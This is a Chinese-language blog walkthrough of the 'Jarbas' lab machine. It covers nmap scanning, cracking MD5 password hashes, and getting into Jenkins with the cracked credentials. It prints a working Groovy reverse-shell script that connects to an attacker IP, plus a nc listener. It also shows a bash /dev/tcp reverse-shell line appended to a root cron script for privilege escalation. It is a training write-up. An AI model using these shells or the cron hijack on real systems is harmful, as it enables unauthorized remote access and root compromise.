Jarbas

文章描述了一次通过nmap工具进行的信息收集、端口扫描、漏洞检测,以及在Linux主机上进行渗透测试的过程,包括破解MD5密码、利用jenkins的命令执行漏洞获取反弹shell,最终成功提权的过程。
摘要由CSDN通过智能技术生成

信息收集

主机存活探测

nmap -sn 192.168.217.131 -oA ./hosts

端口探测

nmap -sT -p- 192.168.217.131 -oA ./ports

详细信息探测

nmap -sT -sV -sC -O 192.168.217.131 -oA ./details

可以看到开放了22、80、3306、8080端口,操作系统为linux系统,80和8080端口存在http服务。

UDP端口扫描

nmap -sU --top-ports 20 192.168.217.131 -oA ./udp

漏洞探测

nmap -sT --script=vuln -p22,80,3306,8080 192.168.217.131 -oA ./vuln

渗透测试

3306

mysql -h 192.168.217.131 -u root -p

80

访问首页:

看了源码也没发现什么东西,不知道这是一个什么东西,尝试进行目录扫描。

发现了access.html,看看里面有啥东西吧:

账号和md5加密的密码?

利用hash-identify确定这就是md5加密的密码,利用在线md5进行解密:得到了三个明文的密码!

尝试利用ssh进行登录,但是没有成功~

8080

访问下看看有什么东西吧:

这个jenkins!熟悉,在之前实习的时候,还发现了它存在命令执行!这里需要进行登录,尝试未授权直接访问/script,不存在未授权访问漏洞,那么就需要尝试登录了。

在线收集了一下可能存在相关弱口令信息,但是没登陆成功。。

但是想起来了之前在80端口上发现的三个账号和密码,尝试进行登录,成功发现第三个账号能登陆!这不就来了嘛!

这里去搜索了一下jenkins的漏洞:Jenkins-功能未授权访问导致的远程命令执行漏洞 - Jenkins

未授权访问导致的命令执行漏洞;

尝试执行脚本:

println "whoami".execute().text

println "ifconfig".execute().text

确实存在命令执行漏洞。尝试进行反弹shell:

String host="192.168.217.128";
int port=3333;
String cmd="/bin/bash";
//ProcessBuilder创建操作系统进程
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());
    while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

本地攻击机起一个监听器:nc -lvnp 3333

尝试进行提权:尝试利用sudo -l列出当前用户的权限:

但是没什么信息!看一下/etc/passwd:

大体上一看,知道root eder是有bash的,可以看到当前用户的bash设置了false,可能就是我们的bash存在一些限制!

看一下定时任务(渗透做的多了就知道要看了,这里我就不知道,小菜鸡~)

cat /etc/crontab

可以看到最后一行,大概的意思就是每五分钟,以root身份执行一下/etc/script/CleaningScript.sh脚本文件,将结果扔到垃圾桶。

因此就知道了这个脚本他是以root身份执行的!如果我们能往这个文件中写入命令,不就可以以root身份去执行我们的命令了嘛!

看一下这个文件的内容,当然看不看的都无所谓。这个文件的功能就是每五分钟执行一次清空访问日志的操作!

那么我们就尝试往文件里面追加反弹shell的命令:

echo "/bin/bash -i >& /dev/tcp/192.168.217.128/4444 0>&1" >> /etc/script/CleaningScript.sh

同时我们再新启动一个监听器,监听本地的4444端口,等待最长时间5分钟,我们应该就会得到一个bash:

最终我们得到了一个bash,看一下是不是root权限:

确实是root权限,提权成功了,看一下家目录下面的flag!

补充

之前上面我在拿shell的时候,用的是script路径进行执行命令的。这里看了大佬的笔记,又发现了一种更加简单的方法!

新建一个项目:

随便输入一个项目的名字,然后选择类型,这里选择freestyle project即可:

最下面有一个execute shell我们选择这个:

输入反弹shell命令,然后保存:

点击build now,便会执行命令:

这种拿shell的方式感觉更简单点!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y4y17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值